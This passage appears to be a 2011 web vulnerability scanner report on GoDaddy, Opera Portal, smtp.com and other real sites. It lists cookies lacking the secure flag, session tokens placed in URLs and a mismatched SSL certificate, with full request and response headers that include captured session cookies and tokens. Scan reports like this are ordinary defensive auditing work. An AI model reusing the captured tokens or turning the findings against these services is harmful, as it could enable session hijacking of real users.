Referer: https://idp.godaddy.com/login.aspx?ci=10530&spkey=GDSWNET-M1PWCORPWEB181&redirect=false&target=http%3a%2f%2fwww.godaddy.com%2foffers%2fhot-deals2.aspx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 302 Found
Date: Fri, 16 Sep 2011 18:08:47 GMT
Server: Apache
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Set-Cookie: PHPSESSID=d25fc93ae88ce9e1cd32f84099433d38; path=/; domain=email.secureserver.net
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Location: https://login.secureserver.net/?app=wbe
Vary: Accept-Encoding
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html
Content-Length: 0

5.2. https://portal.opera.com/accounts/login/ previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	https://portal.opera.com
Path:	/accounts/login/

Issue detail

The following cookies were issued by the application and do not have the secure flag set:

csrftoken=838dab485752a3df29256e939fd2d3cb; expires=Fri, 14-Sep-2012 16:25:28 GMT; Max-Age=31449600; Path=/
opal_sessionid=46086d7992e13cfe7e9bdef9bd665ed5; expires=Fri, 30-Sep-2011 16:25:28 GMT; Max-Age=1209600; Path=/

The cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /accounts/login/ HTTP/1.1
Host: portal.opera.com
Connection: keep-alive
Referer: http://portal.opera.com/portal/tabs/?tab_name=Opera%20Portal
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utma=122269525.1534674535.1316207960.1316207960.1316207960.1; __utmb=122269525.3.10.1316207960; __utmc=122269525; __utmz=122269525.1316207960.1.1.utmcsr=unite.opera.com|utmccn=(referral)|utmcmd=referral|utmcct=/application/192/; opal_sessionid=46086d7992e13cfe7e9bdef9bd665ed5; csrftoken=838dab485752a3df29256e939fd2d3cb; __utma=258618251.1095286181.1316208009.1316208009.1316208009.1; __utmb=258618251.2.10.1316208016; __utmc=258618251; __utmz=258618251.1316208016.1.1.utmcsr=opera.com|utmccn=(referral)|utmcmd=referral|utmcct=/company/

Response

HTTP/1.1 200 OK
Server: Apache/2.2.16 (Debian)
Content-Language: en
Expires: Fri, 16 Sep 2011 16:25:28 GMT
Vary: Cookie,Accept-Language,Accept-Encoding
Last-Modified: Fri, 16 Sep 2011 16:25:28 GMT
Cache-Control: max-age=0
X-XRDS-Location: http://portal.opera.com/static/misc/yadis.xrdf
Set-Cookie: csrftoken=838dab485752a3df29256e939fd2d3cb; expires=Fri, 14-Sep-2012 16:25:28 GMT; Max-Age=31449600; Path=/
Set-Cookie: opal_sessionid=46086d7992e13cfe7e9bdef9bd665ed5; expires=Fri, 30-Sep-2011 16:25:28 GMT; Max-Age=1209600; Path=/
Content-Type: text/html; charset=utf-8
Content-Length: 8462
Date: Fri, 16 Sep 2011 16:25:28 GMT
X-Varnish: 3235958046
Age: 0
Via: 1.1 varnish
Connection: keep-alive

<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-type" content="text/html; charset=utf-8" >
<title>
Opera Portal & Opera services authentication
</title>

<meta name="ROBO
...[SNIP]...

5.3. https://www.smtp.com/signup previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	https://www.smtp.com
Path:	/signup

Issue detail

The following cookie was issued by the application and does not have the secure flag set:

_global_session=BAh7CDoRaHR0cF9yZWZlcmVyIkhodHRwOi8vd3d3Lmdvb2dsZS5jb20vc2VhcmNoP3NvdXJjZWlkPWNocm9tZSZpZT1VVEYtOCZxPXNtdHArc2VydmVyOhBfY3NyZl90b2tlbiIxcVNXak9kck5TK2dKaGYwUEtoUjQ4UGpNTGozeC9RejlGUjM0a0xZTEpzND06D3Nlc3Npb25faWQiJTgyMzI5Y2M4NmE0M2FjMGE5MzQ1MzQ0NzM4ZGJmNWU1--9d864407dc9132ffb7b5e9c9928c23d380537ed3; path=/; HttpOnly

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /signup HTTP/1.1
Host: www.smtp.com
Connection: keep-alive
Referer: http://www.smtp.com/service-info
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: _global_session=BAh7BzoRaHR0cF9yZWZlcmVyIkhodHRwOi8vd3d3Lmdvb2dsZS5jb20vc2VhcmNoP3NvdXJjZWlkPWNocm9tZSZpZT1VVEYtOCZxPXNtdHArc2VydmVyOg9zZXNzaW9uX2lkIiU4MjMyOWNjODZhNDNhYzBhOTM0NTM0NDczOGRiZjVlNQ%3D%3D--d77601bf4eb2e4d6e70d9401d391108ccdbc2dbd; __utma=173546785.673105426.1316204863.1316204863.1316204863.1; __utmb=173546785.2.10.1316204863; __utmc=173546785; __utmz=173546785.1316204863.1.1.utmgclid=CJWNm_2JoqsCFSg1gwodCS0_kQ|utmccn=(not%20set)|utmcmd=(not%20set)|utmctr=smtp%20server

Response

5.4. https://idp.godaddy.com/login.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://idp.godaddy.com
Path:	/login.aspx

Issue detail

The following cookie was issued by the application and does not have the secure flag set:

currency1=potableSourceStr=USD; domain=godaddy.com; expires=Sun, 16-Sep-2012 18:06:00 GMT; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

POST /login.aspx?ci=9106&spkey=GDSWNET-M1PWCORPWEB181&target=http%3A%2F%2Fwww.godaddy.com%2F HTTP/1.1
Host: idp.godaddy.com
Connection: keep-alive
Referer: http://www.godaddy.com/
Content-Length: 94
Cache-Control: max-age=0
Origin: http://www.godaddy.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: currencypopin1=cdisplaypopin=false; GoogleADServicesgooglessl=dbdflblbdeidccshddredcccjfvazaii; ShopperId1=ndqiadmiugedwezalcdaffdhwjpgihjc; flag1=cflag=us; preferences1=_sid=uddglhvacbaaxcsewbpfbfkhsgjjfjxe&gdshop_currencyType=USD&dataCenterCode=US; currency1=potableSourceStr=USD; adc1=US; SplitValue1=95; fbiTrafficSettings=cDepth=16&resX=1920&resY=1200&fMajorVer=-1&fMinorVer=-1&slMajorVer=-1&slMinorVer=-1; pathway=b60669da-2123-4bfc-afe4-9bcdeba931e5; pagecount=1; actioncount=; app_pathway=; visitor=vid=8d587be0-834e-4a03-83dc-2f3bcb783a40; traffic=

validate=1&login_focus=false&pass_focus=false&loginname=xss&password=xss&Login.x=30&Login.y=20

Response

5.5. https://idp.godaddy.com/retrieveaccount.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://idp.godaddy.com
Path:	/retrieveaccount.aspx

Issue detail

The following cookie was issued by the application and does not have the secure flag set:

currency1=potableSourceStr=USD; domain=godaddy.com; expires=Sun, 16-Sep-2012 18:06:11 GMT; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /retrieveaccount.aspx?ci=9107&spkey=GDSWNET-M1PWCORPWEB181 HTTP/1.1
Host: idp.godaddy.com
Connection: keep-alive
Referer: https://idp.godaddy.com/login.aspx?ci=9106&spkey=GDSWNET-M1PWCORPWEB181&target=http%3A%2F%2Fwww.godaddy.com%2F
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: currencypopin1=cdisplaypopin=false; GoogleADServicesgooglessl=dbdflblbdeidccshddredcccjfvazaii; ShopperId1=ndqiadmiugedwezalcdaffdhwjpgihjc; flag1=cflag=us; preferences1=_sid=uddglhvacbaaxcsewbpfbfkhsgjjfjxe&gdshop_currencyType=USD&dataCenterCode=US; SplitValue1=95; fbiTrafficSettings=cDepth=16&resX=1920&resY=1200&fMajorVer=-1&fMinorVer=-1&slMajorVer=-1&slMinorVer=-1; pathway=b60669da-2123-4bfc-afe4-9bcdeba931e5; pagecount=1; actioncount=; app_pathway=; visitor=vid=8d587be0-834e-4a03-83dc-2f3bcb783a40; ASP.NET_SessionId=fubx1k3jh1q5dtrpmjpdfb45; currency1=potableSourceStr=USD; adc1=US; traffic=

Response

5.6. https://idp.godaddy.com/shopper_new.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://idp.godaddy.com
Path:	/shopper_new.aspx

Issue detail

The following cookie was issued by the application and does not have the secure flag set:

currency1=potableSourceStr=USD; domain=godaddy.com; expires=Sun, 16-Sep-2012 18:06:18 GMT; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /shopper_new.aspx?ci=10530&spkey=GDSWNET-M1PWCORPWEB181 HTTP/1.1
Host: idp.godaddy.com
Connection: keep-alive
Referer: https://idp.godaddy.com/retrieveaccount.aspx?ci=9107&spkey=GDSWNET-M1PWCORPWEB181
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: currencypopin1=cdisplaypopin=false; GoogleADServicesgooglessl=dbdflblbdeidccshddredcccjfvazaii; ShopperId1=ndqiadmiugedwezalcdaffdhwjpgihjc; flag1=cflag=us; preferences1=_sid=uddglhvacbaaxcsewbpfbfkhsgjjfjxe&gdshop_currencyType=USD&dataCenterCode=US; SplitValue1=95; fbiTrafficSettings=cDepth=16&resX=1920&resY=1200&fMajorVer=-1&fMinorVer=-1&slMajorVer=-1&slMinorVer=-1; pathway=b60669da-2123-4bfc-afe4-9bcdeba931e5; pagecount=1; actioncount=; app_pathway=; visitor=vid=8d587be0-834e-4a03-83dc-2f3bcb783a40; ASP.NET_SessionId=fubx1k3jh1q5dtrpmjpdfb45; currency1=potableSourceStr=USD; adc1=US; traffic=

Response

5.7. https://mya.godaddy.com/Default.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://mya.godaddy.com
Path:	/Default.aspx

Issue detail

The following cookies were issued by the application and do not have the secure flag set:

ShopperId1=icrggiheobkgocvhqhmjwbmindlamiea; domain=godaddy.com; expires=Thu, 16-Sep-2021 18:08:24 GMT; path=/
currency1=potableSourceStr=USD; domain=godaddy.com; expires=Sun, 16-Sep-2012 18:08:24 GMT; path=/
traffic=cookies=1&referrer=&sitename=mya.godaddy.com&page=/Default.aspx&server=M1PWMYAWEB003&status=200 OK&querystring=idpinfo=none&myaurl=%2fdefault.aspx&ci=13025&shopper=46215684&privatelabelid=1&isc=d0d8de1c80&clientip=50.23.123.106&referringpath=b60669da-2123-4bfc-afe4-9bcdeba931e5&referringdomain=&split=95; domain=godaddy.com; path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /Default.aspx?idpinfo=none&myaurl=%2fdefault.aspx&ci=13025 HTTP/1.1
Host: mya.godaddy.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: currencypopin1=cdisplaypopin=false; GoogleADServicesgooglessl=dbdflblbdeidccshddredcccjfvazaii; ShopperId1=ndqiadmiugedwezalcdaffdhwjpgihjc; flag1=cflag=us; preferences1=_sid=uddglhvacbaaxcsewbpfbfkhsgjjfjxe&gdshop_currencyType=USD&dataCenterCode=US; SplitValue1=95; pathway=b60669da-2123-4bfc-afe4-9bcdeba931e5; fbiTrafficSettings=cDepth=16&resX=1920&resY=1200&fMajorVer=-1&fMinorVer=-1&slMajorVer=-1&slMinorVer=-1; pagecount=2; actioncount=; app_pathway=; visitor=vid=8d587be0-834e-4a03-83dc-2f3bcb783a40; currency1=potableSourceStr=USD; adc1=US; traffic=; ASP.NET_SessionId=sxaobr55fgak5g55bzrndx2d

Response

5.8. https://mya.godaddy.com/myrenewals/myRenewals.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://mya.godaddy.com
Path:	/myrenewals/myRenewals.aspx

Issue detail

The following cookies were issued by the application and do not have the secure flag set:

currency1=potableSourceStr=USD; domain=godaddy.com; expires=Sun, 16-Sep-2012 18:09:07 GMT; path=/
traffic=cookies=1&referrer=https://idp.godaddy.com/login.aspx?ci=10530&spkey=GDSWNET-M1PWCORPWEB181&redirect=false&target=http%3a%2f%2fwww.godaddy.com%2foffers%2fhot-deals2.aspx&sitename=mya.godaddy.com&page=/myrenewals/myRenewals.aspx&server=M1PWMYAWEB003&status=200 OK&querystring=ci=11279&tab=products&shopper=46215684&privatelabelid=1&isc=d0d8de1c80&clientip=50.23.123.106&referringpath=4d9fa55d-454a-463a-ad89-702facb7913c&referringdomain=&split=45; domain=godaddy.com; path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /myrenewals/myRenewals.aspx?ci=11279&tab=products HTTP/1.1
Host: mya.godaddy.com
Connection: keep-alive
Referer: https://idp.godaddy.com/login.aspx?ci=10530&spkey=GDSWNET-M1PWCORPWEB181&redirect=false&target=http%3a%2f%2fwww.godaddy.com%2foffers%2fhot-deals2.aspx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: currencypopin1=cdisplaypopin=false; GoogleADServicesgooglessl=dbdflblbdeidccshddredcccjfvazaii; flag1=cflag=us; preferences1=_sid=uddglhvacbaaxcsewbpfbfkhsgjjfjxe&gdshop_currencyType=USD&dataCenterCode=US; SplitValue1=95; pathway=b60669da-2123-4bfc-afe4-9bcdeba931e5; ASP.NET_SessionId=sxaobr55fgak5g55bzrndx2d; ShopperId1=sbravgnfjbbhqgwfvetdgajdqbqdniza; BlueLithium_domainsearch=obsjsdjcfihcwgzeliqdtiigagkahckc; fbiTrafficSettings=cDepth=16&resX=1920&resY=1200&fMajorVer=-1&fMinorVer=-1&slMajorVer=-1&slMinorVer=-1; pagecount=3; actioncount=; app_pathway=; visitor=vid=8d587be0-834e-4a03-83dc-2f3bcb783a40; currency1=potableSourceStr=USD; adc1=US; traffic=

Response

5.9. https://www.jangosmtp.com/login.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.jangosmtp.com
Path:	/login.asp

Issue detail

The following cookie was issued by the application and does not have the secure flag set:

JangoMail=Word=SMTP+server&Referrer=http%3A%2F%2Fwww%2Ejangosmtp%2Ecom%2Flogin%2Easp&Search=g; expires=Fri, 16-Dec-2011 16:30:42 GMT; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /login.asp?status=failed HTTP/1.1
Host: www.jangosmtp.com
Connection: keep-alive
Referer: http://www.jangosmtp.com/login.asp
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JangoMail=Word=SMTP+server&Referrer=http%3A%2F%2Fwww%2Egoogle%2Ecom%2Fsearch%3Fsourceid%3Dchrome%26ie%3DUTF%2D8%26q%3Dsmtp%2Bserver&Search=g; ASPSESSIONIDSCTSBTQQ=PLBPJOABDACEOGJJFNFHKHNJ; __utma=213119631.1093174196.1316204842.1316204842.1316204842.1; __utmb=213119631.5.10.1316204842; __utmc=213119631; __utmz=213119631.1316204842.1.1.utmgclid=CKGSi_aJoqsCFRdTgwod5zgZiw|utmccn=(not%20set)|utmcmd=(not%20set)|utmctr=smtp%20server; _chartbeat2=vs5g6yeo9lxk52er.1316204846394; ASPSESSIONIDSCTWBTQQ=DJNPJOABFNFKEADPKMALIIHA

Response

6. Session token in URL previous next
There are 4 instances of this issue:

http://l.sharethis.com/pview
http://lb-static1-1568763564.us-east-1.elb.amazonaws.com/pix.gif
http://player.ooyala.com/sas/authorized
http://www.apture.com/js/apture.js

Issue background

Sensitive information within URLs may be logged in various locations, including the user's browser, the web server, and any forward or reverse proxy servers between the two endpoints. URLs may also be displayed on-screen, bookmarked or emailed around by users. They may be disclosed to third parties via the Referer header when any off-site links are followed. Placing session tokens into the URL increases the risk that they will be captured by an attacker.

Issue remediation

The application should use an alternative mechanism for transmitting session tokens, such as HTTP cookies or hidden fields in forms that are submitted using the POST method.

6.1. http://l.sharethis.com/pview previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	http://l.sharethis.com
Path:	/pview

Issue detail

The URL in the request appears to contain a session token within the query string:

http://l.sharethis.com/pview?event=pview&source=share4x&publisher=1a6a05c9-70bf-47c6-934c-8f49797a286d&hostname=www.blackbaud.com&location=%2F&url=http%3A%2F%2Fwww.blackbaud.com%2F&sessionID=1316204996133.78228&fpc=2381d63-13273ee6625-2ae88b10-1&ts1316204996203.0

Request

GET /pview?event=pview&source=share4x&publisher=1a6a05c9-70bf-47c6-934c-8f49797a286d&hostname=www.blackbaud.com&location=%2F&url=http%3A%2F%2Fwww.blackbaud.com%2F&sessionID=1316204996133.78228&fpc=2381d63-13273ee6625-2ae88b10-1&ts1316204996203.0 HTTP/1.1
Host: l.sharethis.com
Proxy-Connection: keep-alive
Referer: http://www.blackbaud.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __stid=CqCKBE5ezzUzVT7FCnHuAg==

Response

HTTP/1.1 204 No Content
Server: nginx/0.7.65
Date: Fri, 16 Sep 2011 15:29:20 GMT
Connection: keep-alive

6.2. http://lb-static1-1568763564.us-east-1.elb.amazonaws.com/pix.gif previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	http://lb-static1-1568763564.us-east-1.elb.amazonaws.com
Path:	/pix.gif

Issue detail

The URL in the request appears to contain a session token within the query string:

http://lb-static1-1568763564.us-east-1.elb.amazonaws.com/pix.gif?acct_id=4034&ptype=other&session_id=7B1B08A6C5BF4A968C79C9BFB007FDD0&version=0.2&url=http%3A%2F%2Fwww.drugstore.com%2F&ref=http%3A%2F%2Fwww.fakereferrerdominator.com%2FreferrerPathName%3FRefParName%3DRefValue&sid=undefined&cookie=uid%3D5299788113416%3A&cookie2=undefined&rand=0.7498447701566854&type=pageview&title=drugstore.com%20Online%20Pharmacy%20-%20Prescription%20Drugs%2C%20Health%20and%20Beauty%2C%20plus%20more&briu=http%3A%2F%2Fpics.drugstore.com%2Fcatimg%2F288247%2F091211-HP-QA-YesTo-GWP.jpg%3A%3A%3Ahttp%3A%2F%2Fa216.g.akamai.net%2Ff%2F216%2F580%2F1d%2Fwww.drugstore.com%2Fimg%2Ffooter%2Fhp_legal.gif%3A%3A%3Ahttp%3A%2F%2Fs0.2mdn.net%2F3232177%2FBAN_naturalinstinctsjas_AugustUpdateBaseBlank_300x250_FY1112_Q1_Static.jpg%3A%3A%3Ahttp%3A%2F%2Fpics.drugstore.com%2Fcatimg%2F284540%2F052011_home_NEW_CUSTOMER_B1.jpg%3A%3A%3Ahttp%3A%2F%2Fpics.drugstore.com%2Fcatimg%2F279258%2F052011_home_A1.gif

Request

GET /pix.gif?acct_id=4034&ptype=other&session_id=7B1B08A6C5BF4A968C79C9BFB007FDD0&version=0.2&url=http%3A%2F%2Fwww.drugstore.com%2F&ref=http%3A%2F%2Fwww.fakereferrerdominator.com%2FreferrerPathName%3FRefParName%3DRefValue&sid=undefined&cookie=uid%3D5299788113416%3A&cookie2=undefined&rand=0.7498447701566854&type=pageview&title=drugstore.com%20Online%20Pharmacy%20-%20Prescription%20Drugs%2C%20Health%20and%20Beauty%2C%20plus%20more&briu=http%3A%2F%2Fpics.drugstore.com%2Fcatimg%2F288247%2F091211-HP-QA-YesTo-GWP.jpg%3A%3A%3Ahttp%3A%2F%2Fa216.g.akamai.net%2Ff%2F216%2F580%2F1d%2Fwww.drugstore.com%2Fimg%2Ffooter%2Fhp_legal.gif%3A%3A%3Ahttp%3A%2F%2Fs0.2mdn.net%2F3232177%2FBAN_naturalinstinctsjas_AugustUpdateBaseBlank_300x250_FY1112_Q1_Static.jpg%3A%3A%3Ahttp%3A%2F%2Fpics.drugstore.com%2Fcatimg%2F284540%2F052011_home_NEW_CUSTOMER_B1.jpg%3A%3A%3Ahttp%3A%2F%2Fpics.drugstore.com%2Fcatimg%2F279258%2F052011_home_A1.gif HTTP/1.1
Host: lb-static1-1568763564.us-east-1.elb.amazonaws.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.drugstore.com/
Cookie: __gads=ID=09bd23b6c398af90:T=1313103241:S=ALNI_MbNITSOYYIhD8v2oycQZIr0GR3Yfw

Response

HTTP/1.1 200 OK
Accept-Ranges: bytes
Content-Type: image/gif
Date: Fri, 16 Sep 2011 16:30:38 GMT
ETag: "1104880613"
Last-Modified: Wed, 29 Jul 2009 00:45:42 GMT
Server: lighttpd/1.4.19
Content-Length: 43
Connection: keep-alive

GIF89a.............!.......,...........D..;

6.3. http://player.ooyala.com/sas/authorized previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	http://player.ooyala.com
Path:	/sas/authorized

Issue detail

The URL in the request appears to contain a session token within the query string:

http://player.ooyala.com/sas/authorized?analytics%5Fparams=%7B%22pcode%22%3A%22wyeGQ6jDkDGPl6NtyUg7PqDeUT6m%22%7D&token=AA%2Dh5tZUIJpe%2D004e736a2b%2DWcM4DZhB1IdvreCJy%2EqCGDv0dNiTv94KJs%5FiW5sNZ9E&domain=go%2Eicontact%2Ecom&embed%5Fcode%5Flist=BxcnZkMjpvja5pkM5Te%5Fe%5FrArpHwljfi&timestamp=1316204885993&parent%5Fauthorized=true&signature=XrvF5L%2Fm0Qniyn6fdpWYUlJESkrm1f6H6QtyhnZHVIw&device=WIN%2010%2C3%2C183%2C7

Request

GET /sas/authorized?analytics%5Fparams=%7B%22pcode%22%3A%22wyeGQ6jDkDGPl6NtyUg7PqDeUT6m%22%7D&token=AA%2Dh5tZUIJpe%2D004e736a2b%2DWcM4DZhB1IdvreCJy%2EqCGDv0dNiTv94KJs%5FiW5sNZ9E&domain=go%2Eicontact%2Ecom&embed%5Fcode%5Flist=BxcnZkMjpvja5pkM5Te%5Fe%5FrArpHwljfi&timestamp=1316204885993&parent%5Fauthorized=true&signature=XrvF5L%2Fm0Qniyn6fdpWYUlJESkrm1f6H6QtyhnZHVIw&device=WIN%2010%2C3%2C183%2C7 HTTP/1.1
Host: player.ooyala.com
Proxy-Connection: keep-alive
Referer: http://player.ooyala.com/static/cacheable/8933d67147be1f15015cae08f54944fc/player_v2.swf
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utma=131238736.759487282.1315547307.1315547307.1315547307.1; __utmz=131238736.1315547307.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); _mkto_trk=id:447-EQK-225&token:_mch-ooyala.com-1315547307468-28819

Response

HTTP/1.1 200 OK
Status: 200 OK
Content-Type: text/xml
Content-Length: 716
Cache-Control: public, no-cache
Date: Fri, 16 Sep 2011 15:27:31 GMT
Connection: close

0U2o9UfKs7K4t/abZfUsj7UHoVA5SoOKJZfUYARwEWh20f8hUfoPyqlj95io
eamhmAcmU9PCYf24PuteUBx7KzJFXPGUv5FbHTUlVIZ8orGocXxfdkZ/uRiT
bdjWLivAMo4OnGHABvS2+2eWiR6pJPHq3xGV+8A1RAx6J3LYNa9rSFpE4Z6y
v9ztX30dTq8WFWclj
...[SNIP]...

6.4. http://www.apture.com/js/apture.js previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	http://www.apture.com
Path:	/js/apture.js

Issue detail

The URL in the request appears to contain a session token within the query string:

http://www.apture.com/js/apture.js?siteToken=w522Fk6

Request

GET /js/apture.js?siteToken=w522Fk6 HTTP/1.1
Host: www.apture.com
Proxy-Connection: keep-alive
Referer: http://thehackernews.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: AC=FQtL8KWd11

Response

HTTP/1.0 200 OK
Content-Length: 1810
Vary: Accept-Encoding
Cache-Control: no-cache, no-store, must-revalidate, max-age=0
P3p: CP="NON CURa ADMa DEVa TAIa PSAa PSDa IVAa IVDa HISa OUR LEG UNI COM NAV INT"
Content-Type: text/javascript
Date: Fri, 16 Sep 2011 17:54:47 GMT

(function(){
var B=window.apture,A=window.apture=B||{};
if(!A.isApp){
A.prefs={};A.referer="http://thehackernews.com/";A.visitId="f0fd86c367944cc5a879be24091fc3a1";A.userCookieId="FQtL8KWd11";A.aptur
...[SNIP]...

7. SSL certificate previous next
There are 7 instances of this issue:

https://login.secureserver.net/
https://email.secureserver.net/
https://fonts.googleapis.com/
https://idp.godaddy.com/
https://livechat.iadvize.com/
https://mya.godaddy.com/
https://www.google.com/

Issue background

SSL helps to protect the confidentiality and integrity of information in transit between the browser and server, and to provide authentication of the server's identity. To serve this purpose, the server must present an SSL certificate which is valid for the server's hostname, is issued by a trusted authority and is valid for the current date. If any one of these requirements is not met, SSL connections to the server will not provide the full protection for which SSL is designed.

It should be noted that various attacks exist against SSL in general, and in the context of HTTPS web connections. It may be possible for a determined and suitably-positioned attacker to compromise SSL connections without user detection even when a valid SSL certificate is used.

7.1. https://login.secureserver.net/ previous next

Summary

Severity:	Medium
Confidence:	Certain
Host:	https://login.secureserver.net
Path:	/

Issue detail

The following problem was identified with the server's SSL certificate:

The server's certificate is not valid for the server's hostname.

The server presented the following certificates:

Server certificate

Issued to:	*.login.secureserver.net
Issued by:	Starfield Secure Certification Authority
Valid from:	Fri Oct 22 20:32:05 CDT 2010
Valid to:	Mon Oct 22 20:32:05 CDT 2012

Certificate chain #1

Issued to:	Starfield Secure Certification Authority
Issued by:	Starfield Class 2 Certification Authority
Valid from:	Wed Nov 15 19:15:40 CST 2006
Valid to:	Sun Nov 15 19:15:40 CST 2026

Certificate chain #2

Issued to:	Starfield Class 2 Certification Authority
Issued by:	http://www.valicert.com/
Valid from:	Tue Jun 29 12:39:16 CDT 2004
Valid to:	Sat Jun 29 12:39:16 CDT 2024

Certificate chain #3

Issued to:	http://www.valicert.com/
Issued by:	http://www.valicert.com/
Valid from:	Fri Jun 25 19:19:54 CDT 1999
Valid to:	Tue Jun 25 19:19:54 CDT 2019

